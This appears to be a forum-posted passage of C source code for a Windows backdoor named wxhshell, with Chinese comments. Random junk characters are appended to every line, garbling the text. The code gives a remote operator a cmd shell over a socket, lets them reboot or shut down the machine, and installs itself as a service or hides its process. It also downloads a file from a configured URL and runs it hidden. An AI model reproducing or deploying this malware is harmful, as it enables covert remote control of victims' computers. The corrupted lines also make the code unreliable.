  case '?': { =i[_C>U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X c~yr\%]  
    break; -J*BY2LU3f  
  } 69ZGdN  
  // 安装 q ww*  
  case 'i': { %0l'Nuz  
    if(Install()) S?ELFq(g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3y?I^ .B  
    else /W\@/b,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K}7E;O5m"  
    break; koDIxj'%X  
    } x6Zhw9RV  
  // 卸载 v&Xsyb0CaM  
  case 'r': { "=<T8M  
    if(Uninstall()) LG3D3{H(.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j=b?WNK  
    else 8AL`<8$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /vC|_G|{  
    break; n4A_vz  
    } shlMJa?  
  // 显示 wxhshell 所在路径 vpnQs#8O  
  case 'p': { dC+WII`V  
    char svExeFile[MAX_PATH]; 8h"Val|qP  
    strcpy(svExeFile,"\n\r"); U4;r.#qw,  
      strcat(svExeFile,ExeFile); APY^A6^:j  
        send(wsh,svExeFile,strlen(svExeFile),0); 5hN)y-4@  
    break; [Z~h!}  
    } Q(v*I&k  
  // 重启 W;%$7&+0  
  case 'b': { `o|Y5wQ@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <% #Dwo}  
    if(Boot(REBOOT)) xVYy`_|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQs^2z#Bd  
    else { &w15 GO;4  
    closesocket(wsh); I)7STzlMj.  
    ExitThread(0); b>g&Pf#N!  
    } xE>H:YPm  
    break; ^#-d^ )f;  
    } *UL++/f  
  // 关机 ~4gOv  
  case 'd': { *iLlBE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z*uv~0a>9Q  
    if(Boot(SHUTDOWN)) I_h u s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yC#%fgQ r  
    else { HK}br!?  
    closesocket(wsh); 2S%[YR>>  
    ExitThread(0); |q| ?y`X4/  
    } <46> v<  
    break; Hwb+@'o  
    } 1M@OBfB8  
  // 获取shell VZveNz@]r  
  case 's': { Rhw- 49AWx  
    CmdShell(wsh); %vF,wQC  
    closesocket(wsh); l-^2>K[  
    ExitThread(0); s"OP[YEke/  
    break; 9mA6nmp  
  }  Y7*8 A,  
  // 退出 6g fn5G  
  case 'x': { =n@"lY u[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .,({&L  
    CloseIt(wsh); R:N4_4& C~  
    break; r_R( kns  
    } xA7>";sla[  
  // 离开 (U_`Q1Jo  
  case 'q': { vbA<=V*P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kd='l~rby  
    closesocket(wsh); \NZ(Xk  
    WSACleanup(); >T{Gl/? p  
    exit(1); M[eq)a$  
    break; 3{:AG,G  
        } Y5mQY5u|  
  } jpwR\"UJ  
  } DsJ ikg(J  
5r2A^<)  
  // 提示信息 mYUR(*[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3#\++h]QZ  
} ;- 0 d2Z  
  } p]jkfsCjN  
SI)QX\is8  
  return; 1>yh`Bp\=  
} zG\& ZU  
bwR$9 10b  
// shell模块句柄 7];AB;0"  
int CmdShell(SOCKET sock) 8n&Gn%DvX  
{ !l6Ez_'  
STARTUPINFO si; Yamu"#  
ZeroMemory(&si,sizeof(si)); X&LaAqlSG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <6.aSOS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8(3n v[  
PROCESS_INFORMATION ProcessInfo; V><,.p8  
char cmdline[]="cmd"; @5RbMf{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )tvP|  
  return 0; s7d4)A%  
} B3^F $6=  
T0;8koj^_  
// 自身启动模式 %~e+H|  
int StartFromService(void) )k^y<lC2a  
{ A4~- {.w=  
typedef struct |l-~,eRvi5  
{ 8(zE^W,[8"  
  DWORD ExitStatus; zi^?9n),  
  DWORD PebBaseAddress; d6+$[4w  
  DWORD AffinityMask; 2RbK##`vC  
  DWORD BasePriority; WrHY'  
  ULONG UniqueProcessId; L*6R5i>  
  ULONG InheritedFromUniqueProcessId; WEaG/)y  
}   PROCESS_BASIC_INFORMATION; 1fH2obI~X  
m{gw:69h  
PROCNTQSIP NtQueryInformationProcess; 8P?p  
BQ:hUF3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !qu/m B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u<['9U  
$xU)t&Df  
  HANDLE             hProcess; En9>onJ  
  PROCESS_BASIC_INFORMATION pbi; `VrQ? s  
O7"16~ a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 56?RFnZ&j  
  if(NULL == hInst ) return 0; %f?Z/Wn  
>d3`\(v-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WR"?j 9y_q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B"Ma<"HU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1j*E/L  
y3 "+4e  
  if (!NtQueryInformationProcess) return 0; 5La' I7q  
`nCVO;B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O#@G .~n?  
  if(!hProcess) return 0; :Ahw{z`H#  
9u;/l#?@T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aizJ&7(>  
6}cN7wnm j  
  CloseHandle(hProcess); GY t|[GC  
)61X,z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / q| o  
if(hProcess==NULL) return 0; *B)J(^M!q  
$'x#rW>v  
HMODULE hMod; L,O.XR  
char procName[255]; ^]NFr*'!  
unsigned long cbNeeded; Bwc_N.w?3  
_Rb>py  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xqy9D ZIn  
L O;?#e7  
  CloseHandle(hProcess); b%QcB[k[WB  
TCR|wi] kW  
if(strstr(procName,"services")) return 1; // 以服务启动 l3xI\{jn  
sj3[ny;b  
  return 0; // 注册表启动 yBRYEqS+  
} h0&Oy52  
._q}lWT  
// 主模块 h e[2,  
int StartWxhshell(LPSTR lpCmdLine) 4;2  
{ !%'"l{R  
  SOCKET wsl; 8AJ#].q0F  
BOOL val=TRUE; G3o`\4p  
  int port=0; }60/5HNr  
  struct sockaddr_in door; 3UX6Y]E3  
FN/siw(?3  
  if(wscfg.ws_autoins) Install(); +O)Y7k{?C5  
?="?)t[  
port=atoi(lpCmdLine); ZY|$[>X!  
W)<t7q+  
if(port<=0) port=wscfg.ws_port; $-p9cyk  
feJl[3@tO  
  WSADATA data; ^kK% 8 u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OH13@k  
KPAvNM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &^7(?C' u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qd/x{a8  
  door.sin_family = AF_INET; 4" pU\g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u` ;P^t5  
  door.sin_port = htons(port); >QdT 7gB  
!;UoZ~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N F,<^ u  
closesocket(wsl); `B~zB=}  
return 1; Ig<# {V  
} CK#i 6!~r  
NX5$x/uz  
  if(listen(wsl,2) == INVALID_SOCKET) { w6h*dh$w  
closesocket(wsl); IgN^~ag`  
return 1; ;Z9(ll:<$  
} N 9s+Tm  
  Wxhshell(wsl); {DapXx  
  WSACleanup(); q8!]x-5$6j  
YkbuyUui  
return 0; *c>B-Fo/D  
0YC|;`J  
} 6rWb2b  
ME66BWg{  
// 以NT服务方式启动 *G7cF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #vhN$H:&q  
{ YaL:6[6  
DWORD   status = 0; OScqf]H  
  DWORD   specificError = 0xfffffff; 89;@#9  
6Ol9P56j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H9PnJr8 \  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `uUzBV.FR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rmo\UCD  
  serviceStatus.dwWin32ExitCode     = 0; dGi HO  
  serviceStatus.dwServiceSpecificExitCode = 0; u1Slu%^e  
  serviceStatus.dwCheckPoint       = 0; R&BWCC{  
  serviceStatus.dwWaitHint       = 0; D,R',(3  
Wy*+8~@A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dgIH`<U$  
  if (hServiceStatusHandle==0) return; 4obW>  
\gB ~0@[\7  
status = GetLastError(); #r]Z2Y]  
  if (status!=NO_ERROR) .)_2AoT7[  
{ ~#jiX6<I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7Xu#|k  
    serviceStatus.dwCheckPoint       = 0; ]@ke_' "  
    serviceStatus.dwWaitHint       = 0; i;U*Y *f  
    serviceStatus.dwWin32ExitCode     = status; "M!m-]  
    serviceStatus.dwServiceSpecificExitCode = specificError; \@WVeFr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dS3\P5D.*c  
    return; 1+WVh7gF  
  } i>]PW|]  
`}KxzD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^=n7E  
  serviceStatus.dwCheckPoint       = 0; Q$:Q6 /5.  
  serviceStatus.dwWaitHint       = 0; J{-`&I'b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 11YJ W-V  
} S2;^  
VgODv  
// 处理NT服务事件,比如:启动、停止 -egnMc67  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DyCzRkH  
{ R y#C#0  
switch(fdwControl) Hz."4nhv  
{ fZ5 UFq_~s  
case SERVICE_CONTROL_STOP: zfv@<'  
  serviceStatus.dwWin32ExitCode = 0; Ul9^"o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FRZ]E)9Z]b  
  serviceStatus.dwCheckPoint   = 0; l>b'b e9  
  serviceStatus.dwWaitHint     = 0; .=TXi<8Brw  
  {  \20} /&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "mQcc }8  
  } :;yrYAyT3  
  return; }O>1tauI  
case SERVICE_CONTROL_PAUSE: `G/g/>y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MO0NNVVi%U  
  break; Y`(Ri-U4  
case SERVICE_CONTROL_CONTINUE: u*;H$&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wm`*IBWA  
  break; p\&/m  
case SERVICE_CONTROL_INTERROGATE: #` gu<xlW  
  break; Xi) ;dcNJ  
}; rMi\#[o B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v-d"dC`  
} SFd_k9  
){w{#  
// 标准应用程序主函数 gqy>;A:kO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _^#eO`4"  
{ cI@qt>&  
T+&fUhSy  
// 获取操作系统版本 W/xPVmnV  
OsIsNt=GetOsVer(); S-q"'5>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t#|R"Q#  
CvE^t#Bok  
  // 从命令行安装 *c[w9(fU  
  if(strpbrk(lpCmdLine,"iI")) Install(); qb=2J5su  
&BrFcXF  
  // 下载执行文件 L r"cO|F  
if(wscfg.ws_downexe) { Ht(TYq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Bn }|6`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9QXsbd6  
} T?m@`"L,  
qz]qG=wmL  
if(!OsIsNt) { X+N5iT  
// 如果时win9x,隐藏进程并且设置为注册表启动 GZu12\0nZ  
HideProc(); |<h}'  
StartWxhshell(lpCmdLine); o cW~I3  
} FEu"b@v  
else SfC* ZM}<  
  if(StartFromService()) ||QK)$"  
  // 以服务方式启动 O}Pqbx&  
  StartServiceCtrlDispatcher(DispatchTable); $Y_S`#c@i  
else M.t,o\xl  
  // 普通方式启动 U|tacO5w`  
  StartWxhshell(lpCmdLine); Od~uYOL/B  
*/aQ+%>jf  
return 0; $&Vba@v  
}
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只看该作者 1 发表于: 2006-10-10
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